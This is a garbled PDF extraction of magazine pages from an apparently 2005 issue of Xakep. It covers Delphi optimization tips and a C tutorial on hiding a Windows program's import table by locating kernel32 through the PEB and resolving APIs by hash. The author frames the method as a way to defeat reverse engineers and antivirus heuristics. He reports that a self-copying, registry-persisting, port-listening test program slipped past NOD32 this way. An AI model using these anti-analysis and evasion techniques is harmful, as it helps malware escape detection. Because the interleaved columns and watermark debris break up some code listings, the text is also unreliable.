|
|
p |
df |
|
|
|
|
e |
|
||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
используй KmdManager от Four-F. Увидеть результаты его работы можно в |
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|||
софтайсе или DbgView. |
|
|
|
|
|
|
|
|
|
|
|
Главная проблема, из-за которой на Delphi нельзя писать полноцен- |
|
|
|
|
|
|
|
|
|
||
ные драйвера, — отсутствие DDK. Для написания драйверов нужны |
|
|
|
|
|
|
|
|
|
||
заголовочные файлы на API-ядра и описания большого количества |
|
|
|
|
|
|
|
|
|
||
системных структур. Все это богатство есть только для С (от |
|
|
|
|
|
|
|
|
|
||
Microsoft) и для MASM32 (от Four-F). Есть слух, что DDK для паска- |
|
|
|
|
|
|
|
|
|
||
ля уже существует, но автор продает его за деньги и сильно этот |
|
|
|
|
|
|
|
|
|
||
факт не афиширует. Думаю, когда-нибудь все-таки найдутся энту- |
|
|
|
|
|
|
|
|
|
||
зиасты, которые перепишут DDK на паскаль и выложат для всеоб- |
|
|
|
|
|
|
|
|
|
||
щего использования. |
|
|
|
|
|
|
|
|
|
|
|
Другой проблемой является то, что большинство примеров, связан- |
|
|
|
|
|
|
|
|
|
||
ных с системным программированием, написаны на си, поэтому на ка- |
|
|
|
|
|
|
|
|
|
||
ком бы языке ты ни писал свои программы, си знать придется. Это, |
|
|
|
|
|
|
|
|
|
||
конечно, не означает, что придется изучать С++ в полном его объеме. |
|
|
|
|
|
|
|
|
|
||
Для понимания системных программ хватит базовых знаний синтакси- |
|
|
|
|
|
|
|
|
|
||
са, все остальное же используется только в прикладных программах, |
|
|
|
|
|
|
|
|
|
||
которые нас совершенно не интересуют. |
|
|
|
|
|
|
|
|
|
|
|
[переносимость кода] При программировании на стандартных |
|
|
|
|
|
|
|
|
|
||
Delphi компонентах, кроме кучи недостатков, мы получаем одно |
|
|
|
|
|
|
|
|
|
||
достоинство — некоторую переносимость кода. Если программа ис- |
|
|
|
|
|
|
|
|
|
||
пользует только возможности языка, но не возможности системы, |
|
|
|
|
|
|
|
|
|
||
то она будет легко компилироваться в Kilix и работать в Linux. Вся |
|
|
|
|
|
|
|
|
|
||
проблема в том, что без использования возможностей системы мы |
|
|
|
|
|
|
|
|
|
||
получим настоящее глюкалово, тяжелую и неэффективную прог- |
|
|
|
|
|
|
|
|
|
||
рамму. Тем не менее, при написании серьезных программ по выше- |
|
|
|
|
|
|
|
|
|
||
описанным методикам, все-таки хочется иметь некоторую незави- |
|
|
|
|
|
|
|
|
|
||
симость от системы. Получить ее очень просто — достаточно писать |
|
|
|
|
|
|
|
|
|
||
код, не использующий ни API-функций, ни возможностей языка во- |
|
|
|
|
|
|
|
|
|
||
обще. В некоторых случаях это совершенно невозможно (например, |
|
|
|
|
|
|
|
|
|
||
в играх), но иногда функции системы абсолютно не нужны (напри- |
|
|
|
|
|
|
|
|
|
||
мер, в математических алгоритмах). |
|
|
|
|
|
|
|
|
|
|
|
В любом случае, следует четко разделять машинно-зависимую и ма- |
|
|
|
|
|
|
|
|
|
||
шинно-независимую (если такая есть) части кода. При соблюдении |
|
|
|
|
|
|
|
|
|
||
вышеописанных правил машинно-независимая часть будет совмес- |
|
|
|
|
|
|
|
|
|
||
тима на уровне исходных текстов с любой системой, для которой |
|
|
|
|
|
|
|
|
|
||
есть компилятор паскаля (а он есть даже для PIC-контроллеров). Не- |
|
|
|
|
|
|
|
|
|
||
зависимый от API код можно смело компилировать в DLL и исполь- |
|
|
|
|
|
|
|
|
|
||
зовать, например, в драйвере режима ядра. Также такую DLL не сос- |
|
|
|
|
|
|
|
|
|
||
тавит труда использовать и в других ОС. Для этого нужно просто по- |
|
|
|
|
|
|
|
|
|
||
секционно отмапить DLL в адресное пространство процесса, настро- |
|
|
|
|
|
|
|
|
|
||
ить релоки и смело пользоваться ее функциями. Осуществляющий |
|
|
|
|
|
|
|
|
|
||
это код на паскале занимает около 80 строк. Если же DLL все-таки |
|
|
|
|
|
|
|
|
|
||
использует некоторые API-функции, то их наличие можно проэмули- |
|
|
|
|
|
|
|
|
|
||
ровать, заполнив таблицу импорта DLL адресами заменяющих их |
|
|
|
|
|
|
|
|
|
||
функций в своей программе. |
|
|
|
|
|
|
|
|
|
|
|
[общие приемы оптимизации] Старайся везде, где можно, ис- |
|
|
|
|
|
|
|
|
|
||
пользовать указатели. Никогда не передавай данные в функцию та- |
|
|
|
|
|
|
|
|
|
||
ким образом: |
|
|
|
|
|
|
|
|
|
|
|
procedure FigZnaet(Data: TStructure); |
|
|
|
|
] |
|
|
|
|
|
|
Всегда передавай указатели на структуры: |
|
|
|
|
115 |
|
|
|
|
|
|
procedure FigZnaet(pData: PStructure) ; ãäå PStructure = ^TStructure; |
|
|
|
|
КОДИНГ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Такой вызов происходит быстрее и экономит немалое количество кода. |
|
|
|
|
|
|
|
|
|
|
|
Старайся не пользоваться типом данных string, вместо него всегда |
|
|
|
|
|
|
|
|
|
||
можно использовать Pchar и обрабатывать строки вручную. Если ну- |
|
|
|
|
|
|
|
|
|
||
жен временный буфер для хранения строки, то его следует объявить в |
|
|
|
|
|
|
|
|
|
||
локальных переменных как array of char. Старайся передавать в функ- |
|
|
|
|
|
|
|
|
|
||
цию не больше трех параметров: первые три параметра согласно ме- |
|
|
|
|
|
|
|
|
|
||
тоду вызова fastcall (который по умолчанию применяется в Delphi) пе- |
|
|
|
|
|
|
|
|
|
||
редаются в регистрах, а все последующие через стек, что замедляет |
|
|
|
|
|
|
|
|
|
||
доступ к ним и увеличивает размер кода. Экономь память: если, нап- |
|
|
|
|
|
|
|
|
|
||
ример, у тебя есть массив чисел, диапазон которых укладывается в |
|
|
|
|
|
|
|
|
|
||
байт, то не нужно объявлять его как dword. Никогда не стоит писать |
|
|
|
|
|
|
|
|
|
||
повторяющийся код. |
|
|
|
|
> |
|
|
|
|
|
|
Если какие-либо действия должны повторяться, то их нужно вынести |
|
|
05 |
|
|
|
|
|
|||
в функцию. Тем не менее, не стоит делать функцию, содержащую |
|
|
[80] |
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|||
две строчки кода, — ее вызов может занимать куда больше места, |
|
|
08 |
|
|
|
|
|
|||
чем она сама. И помни главное: эффективность кода в первую оче- |
|
|
|
|
|
|
|
||||
|
|
[XÀÊÅÐ |
|
|
|
|
|
||||
эффективнее |
|
|
|
|
|
|
|
|
|
||
редь определяется не компилятором, а примененным алгоритмом,что |
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
НЬЮСЫ |
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
o |
|
||
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
FERRUM
PC_ZONE
ИМПЛАНТ
ВЗЛОМ
СЦЕНА
UNIXOID
КОДИНГ
КРЕАТИФФ
ЮНИТЫ
116
Долой импорт!
Я ДАВНО УБЕДИЛСЯ, ЧТО ОТ ТАБЛИЦЫ ИМПОРТА — ОДНО ТОЛЬКО ЗЛО. ИСПОЛЬЗОВАНИЕ ЕЕ ПРОГРАММОЙ МНОГОКРАТНО УПРОЩАЕТ ЖИЗНЬ ИССЛЕДОВАТЕЛЮ. ЕМУ ВСЕГОТО И НАДО, ЧТО ЗАГНАТЬ ЭКЗЕШНИК В ДИЗАССЕМБЛЕР И ВНИМАТЕЛЬНО ИЗУЧИТЬ ПОЛУЧЕННЫЕ ЛИСТИНГИ. АЛГОРИТМ РАБОТЫ МОЖНО БУДЕТ ОЧЕНЬ ЛЕГКО ВОССТАНОВИТЬ ПО ЯРКИМ МЕТКАМ ВЫЗОВОВ API И ПРИЯТНОМУ ГЛАЗУ АССЕМБЛЕРНОМУ КОДУ. НЕТ, ТАК ДЕЛО НЕ ПОЙДЕТ. МНЕ ЕЩЕ НЕ ХВАТАЛО, ЧТОБЫ КАЖДЫЙ, КТО СМОЖЕТ ДИЗАССЕМБЛЕР ЗАГРУЗИТЬ СМОГ ПОНЯТЬ, КАК МОИ ПРОГРАММЫ РАБОТАЮТ. В ЭТОМ МАТЕРИАЛЕ Я ПОКАЖУ, КАК МОЖНО НЕМНОГО ПОДПОРТИТЬ ЖИЗНЬ РЕВЕРСЕРУ, ИССЛЕДОВАТЕЛЮ, ВЗЛОМЩИКУ — В ОБЩЕМ, ЛЮБОМУ, КТО ЗАХОЧЕТ ПОНЯТЬ, ЧТО ДЕЛАЕТ ТВОЯ ПРОГРАММА |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Пишем приложение, не использующее таблицу импорта, на Си
[ищем функции сами] Идея моя достаточно проста: заставить программу забыть такую страшную вещь как таблицу импорта. Причем не просто забыть, а забыть навсегда, чтобы ничто не напоминало о ней. Ни PE-заго- ловок, ни имена API-функций разбросанные по всему файлу. Делается это легко. Надо просто в программе вызывать все функции в обход импорта с помощью, скажем, той же GetProcAddress. Тогда компилятор не будет запихивать их в таблицу. Но сам адрес функции поиска API содержится в импорте. И даже, если все функции вначале искать с помощью GetProcAddress, таблица все равно останется. Хоть и с одной записью, но останется. Но не надо забывать о том, что одним из параметров этой функции является имя API, что, несомненно, сразу все выдаст исследователю. Поэтому имеет смысл сделать свою собственную функцию для поиска адресов функций, которые обычно прописываются в таблице импорта. Тьфу, сделать — хорошо сказал. Не надо ее делать, я ее уже давно сделал, и если ты читал предыдущие номера журнала и залезал на диск, ты должен был ее видеть. Смысл собственной функции в том, что:
1 ее не будет в таблице импорта, а следовательно, исследователю придется прилично покопаться, чтобы понять, что делает ее вызов; 2 поиск может осуществляться не только по имени, но, например, и по хэ-
шу, посчитанному от имени (в этом случае в программе вообще не фигурирует имени API, что серьезно затрудняет процесс исследования алгоритма работы программы… ну, конечно, не для всех серьезно, но все же).
В общем, бери ее с диска. Однако, как ты помнишь, функция GetProcAddress производит поиск адрес по таблице экспорта заданного тобой модуля. Обычно дескриптор, определяющий модуль, получается с помощью функций GetModuleHandle или LoadLibrary. Но в данном случае, вот засада, эти функции вызывать в исходном коде нельзя, так как это приведет к тому, что появится таблица импорта, о которой мы стремимся забыть. Поэтому придется отыскивать дескрипторы (привычнее, наверное, назвать их хэндлами) обходными путями.
[ищем ядро и модули] Ядро, то есть дескриптор, то есть хэндл библиотеки kernel32.dll найти очень просто (она подгружается к каждому
функции подсчета хэша и поиска адресов API-функций
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
t |
|
|
||
P |
D |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
NOW! |
r |
|
||||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
m |
|
|
w Click |
|
|
|
|
|
|
|
поэтому не надо никак дополнительно извращаться — толь- |
||||
|
w |
|
|
|
|
|
|
|
процессу,o |
|||
|
. |
|
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
||
|
|
|
df |
|
|
n |
e |
|
|
|||
|
|
|
|
-xcha |
|
|
ко найти). Этим всю жизнь занимаются вирмейкеры, и поэтому метод, |
|||||
|
|
|
|
|
|
|
|
|
где только не описан. Заключается он в том, что дескриптор модуля ядра извлекается в общей сложности из структуры PEB, блока окружения процесса, ссылку на который можно получить, если обратиться к регистру fs по смещению 30h.
[всем известный поиск ядра]
HMODULE GetKernel()
{
__asm {
mov eax, dword ptr fs:[30h] mov eax, dword ptr [eax+0ch] mov esi, dword ptr [eax+1ch] lodsd
mov eax, dword ptr [eax+08h]
}
}
Имея ядро, можно найти в нем с помощью собственной функции GetProcAddress адрес LoadLibrary, подгрузить с ее помощью любую нужную библиотеку и искать уже в ней адрес необходимой для работы программы функции (как вариант, можно найти адрес GetModuleHandle). Геморрой, конечно, но он просто автоматизируется, а исследователю жизнь все-таки усложняет. В итоге, со всеми извращениями запуск API-функции, к примеру, MessageBox'а на Си выглядит следующим образом:
[я не такой уж и извращенец, честное слово!]
typedef int (WINAPI * tMessageBoxA) (HWND, LPCSTR, LPCSTR, UINT);
typedef HMODULE (WINAPI * tLoadLibraryA) (LPCSTR);
HMODULE hKernel32 = GetKernel();
tLoadLibraryA pLoadLibraryA = GetProcAddressEx
(hKernel32, "LoadLibraryA"); // 0xC8AC8026
HMODULE hUser32 = pLoadLibraryA ("user32.dll");
tMessageBox pMessageBox = GetProcAddressEx
(hUser32, "MessageBoxA" ); // 0xABBC680D
pMessageBox(0, "Hello world", "", 0);
Упс, наврал... Не со всеми извращениями. Ведь тут поиск осуществляется по имени, а нас это, как я уже говорил, не устраивает. Будем переделывать поиск, чтобы искал по хэшу.
[ищем функции по хэшу] Хэш — это некоторое число, которое считается от строки. Хэш-функция, соответственно, функция, — которая будет это число считать. Его ведь можно кучей разных способов получать. Она у нас будет очень простенькая, я ее выдрал из замечательных программ z0mbie и переписал на Си.
куча шаблонов
[хэш-функция]
DWORD CalcHash(char *str)
{
DWORD hash = 0; char* copystr = str; while(*copystr) {
hash = ((hash << 7) & (DWORD)(-1))|(hash >> (32-7)); hash = hash^(*copystr);
copystr++;
}
return hash;
}
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Число, полученное в результате подсчета, почти уникально. Конечно, это я очень хреново выразился. Я хотел сказать, что вероятность того, что от двух разных строк ты получишь одно число — очень мала. А на пространстве имен функций какой-нибудь одной библиотеки вообще равна нулю. Потому-то и можно искать функцию в таблице экспорта, сравнивая не имена, а числа. Это позволяет хранить не палевное название API в программе, а всего лишь 4 байта хэша, которые влезают в любой регистр и могут просто жить в какой-нибудь инструкции, прямо в коде, а не в данных. Меня это обстоятельство радует безумно. Я вообще данные в программе не люблю.
Чтобы иметь возможность искать имя по хэшу, достаточно немного модифицировать функцию GetProcAddressEx. Второй параметр ее станет DWORD'ом вместо указателя на строку, а внутри вместо сравнения имен:
if (lstrcmp((char*)RVATOVA(hModule, *pdwNamePtr), lpProcName) == 0)
Будет сравнение второго параметра (hash) и подсчитанного хэша от рассматриваемого в конкретный момент имени функции:
if (CalcHash((char*)RVATOVA(hModule, *pdwNamePtr)) == hash)
Запуск MessageBox'а с такой функцией преобразиться следующим образом:
...
HMODULE hKernel32 = GetKernel(); tLoadLibraryA pLoadLibraryA = GetProcAddressEx
(hKernel32, 0xC8AC8026);
HMODULE hUser32 = pLoadLibraryA ("user32.dll"); tMessageBox pMessageBox = GetProcAddressEx
(hUser32, 0xABBC680D);
...
Much better, теперь имена функций нигде в программе не фигурируют. Но черт! Так невозможно программировать! Уж лучше все знают, как моя программа работает. Ведь надо считать для каждой функции хэш, подставлять по мере необходимости, заново описывать каждую API. В общем, я как обычно придумал кучу проблем, чтобы с ней разобраться.
[удобный интерфейс] Первое, от чего я хочу избавиться, так это от бес- |
] |
||
конечных определений функций. Всех этих typedef'ов кошмарных и т.п. Сде- |
117 |
||
|
|||
лать это оказалось на удивление легко. Я просто создал несколько перегру- |
КОДИНГ |
||
Обладая огромным везе- |
Про это ты, наверное, ниг- |
||
|
|||
нием и терпением, на дис- |
де больше не сможешь |
|
|
ке ты сумеешь откопать |
прочесть. Это уникальная |
|
|
все исходные коды, опи- |
разработка никому кроме |
|
|
санные в статье. |
автора не нужная. |
|
|
XÀÊÅÐ 08 [80] 05 > |
вызов функции под дизассембером |
[
|
|
|
|
hang |
e |
|
|
|
|
|
C |
|
E |
|
|||
|
X |
|
|
|
|
|
||
|
- |
|
|
|
|
|
d |
|
|
F |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
t |
|
P |
D |
|
|
|
|
|
|
o |
|
|
|
|
NOW! |
r |
|||
|
|
|
|
|
BUY |
|
||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|||
|
w |
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
f-xc |
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
КОДИНГ 118]
[XÀÊÅÐ 08 [80] 05 >
// для функции с одним аргументом |
|
|
||
template <HMODULE h, DWORD hash, class A> |
} |
|
||
inline LPVOID pushargEx(A a1) |
|
|
||
{ |
|
|
|
|
typedef LPVOID (WINAPI *newfunc)(A); |
[тестируем] Ну, что в итоге мы получили, кроме того, что в PE-заголовке |
|||
newfunc func = (newfunc)GetProcAddressEx(h, hash); |
больше нельзя найти ссылки на таблицу импорта. Обычный определяемый |
|||
return func(a1); |
|
любым дизассемблером вызов функции, вроде этого: |
||
} |
|
push |
1000 |
|
// для функции с двумя аргументами |
||||
call |
[Sleep] |
|||
template <HMODULE h, DWORD hash, class A, class B> |
|
|
||
inline LPVOID pushargEx(A a1, |
B a2) |
Изменился на: |
||
{ |
|
|
|
|
typedef LPVOID (WINAPI *newfunc)(A, B); |
push |
3D9972F5h |
||
newfunc func = (newfunc)GetProcAddressEx(h, hash); |
push |
[esp+var_4] |
||
return func(a1,a2); |
|
call |
sub_2AA026E4 |
|
} |
|
push |
1000 |
|
// для функции с тремя аргументами |
call |
eax |
||
|
|
|||
template <HMODULE h, DWORD hash, class A, class B, class C> |
В коде теперь мало что понятно, правда? И если покруче покопаться, то с ди- |
|||
inline LPVOID pushargEx(A a1, |
B a2, C a3) |
зассембером будет тоже самое. Но можно постепенно понять, что |
||
{ |
|
sub_2AA026E4 — это аналог функции GetProcAddress. Однако ищет функцию |
||
typedef LPVOID (WINAPI *newfunc)(A, B, C); |
он не по имени, а по посчитанной хэш-функции от имени. Кошмар! Чтобы |
|||
newfunc func = (newfunc)GetProcAddressEx(h, hash); |
разобраться в том, что делает программа, написанная подобным образом, |
|||
return func(a1,a2,a3); |
|
придется не один час просидеть с отладчиком и дизассемблером в руках, |
||
} |
|
пытаясь сопоставить, какому из подобных вызовов какой обычный API-вы- |
||
// è ò.ä. |
|
зов соответствует. |
||
|
Не одному только реверсеру, кстати, кошмар. Всяческие эвристики и по- |
|||
|
|
добная фигня на этом деле тоже вымрут — проверено. Взять, к примеру, |
||
Соответственно, вызов функции через них может выглядеть следующим |
NOD32. Я для теста написал маленькую программу, копирующую себя в |
|||
образом: |
|
системную директорию, в реестр и слушающую порт. NOD32 на паранои- |
||
// вызовем, например, Sleep с аргументом - |
дальном уровне безопасности тот час же окрестил ее как «вероятно ви- |
|||
рус». Потом я заменил все вызовы на мои «хитрые». Угадай, что на это ска- |
||||
// 1000, то есть одна секунда |
|
зал антивирус? Ничего плохого! Скушал, буркнул «спасибо, вирусов не |
||
// kernel32 - хэндл ядра, вычисленный ранее |
найдено, приходите еще», и на боковую. |
|||
pushargEx<kernel32, 0x3D9972F5>(1000); |
И это ведь только начало такой замечательной штуки как precompiled- |
|||
метаморфизм (вероятно, термин я придумал дурацкий, зато достиг в |
||||
|
|
этой штуке немалого). Компилятор можно научить таким офигенным |
||
Просто, неправда ли? Однако по-прежнему смущают хэши, которые надо |
штукам, какие и не снились обычным полиморфным или метаморфным |
|||
вычислять для каждой функции. Для того, чтобы не приходилось занимать- |
движкам. Полная перестройка программы для них — пустяк. Главное — |
|||
ся еще и этим геморроем, я написал отдельную маленькую утилиту, кото- |
правильно оформить исходный код, то есть научить всему компилятор. |
|||
рая вычисляет хэши и создает h-файл со специальным определением всех |
Можно, к примеру, заставить его оформлять разные вызовы. Скажем, в |
|||
функций в заданной dll. Она вместе с сорцами лежит на диске. Пользовать- |
зависимости от номера строки исходного кода вставлять либо call, либо |
|||
ся ей очень легко, пишешь calchash user32.dll, она тебе выдает файл |
push $+5\push addr\ret, либо еще что-нибудь. Хэш-функции использовать |
|||
user32.dll.h с содержанием, вроде такого: |
все время разные. Можно попробовать научить компилятор (о, недоку- |
|||
... |
|
ментированные возможности, как вы прекрасны и ужасны одновремен- |
||
|
но) перегружать операторы стандартных типов. Ты представь только — |
|||
#define GMessageBeep |
pushargEx<user32, 0xABBEE6BC> |
подсунуть свой оператор присваивания вместо дефолтного, и впихивать |
||
#define GMessageBoxA |
pushargEx<user32, 0xABBC680D> |
в него все время кучу лишнего кода и каких-нибудь нехороших трюков |
||
#define GMessageBoxExA |
pushargEx<user32, 0x1A0256AE> |
еще на этапе компиляции. Можно написать отличную систему, которая |
||
#define GMessageBoxExW |
pushargEx<user32, 0x1A0256B8> |
позволяла бы обычные нормальные программы компилировать так, |
||
... |
|
словно компилятор в задницу оса укусила, так что никакие протекторы и |
||
|
|
упаковщики не понадобятся. |
||
Как ты уже понял, если добавить подобный хидер в программу вместе |
Тебя, наверно, мучает вопрос: а зачем все это действительно нужно? Ус- |
|||
с описанными выше функциями, то для вызова API в обход таблицы импорта |
ложнение анализа и т.п. — это понятно, а зачем метаморфизм какой-то, да |
|||
будет достаточно приписать к имени функции буковку G ;). Ну и, конечно, |
еще и на этапе компиляции. Почему бы ни использовать готовые навесные |
|||
не забыть подгрузить в самом начале все библиотеки, назвав переменные |
протекторы, зачем устраивать весь этот геморрой? |
|||
с их хэндлами по левой части имени файла dll. |
Буду краток. Ради Дао |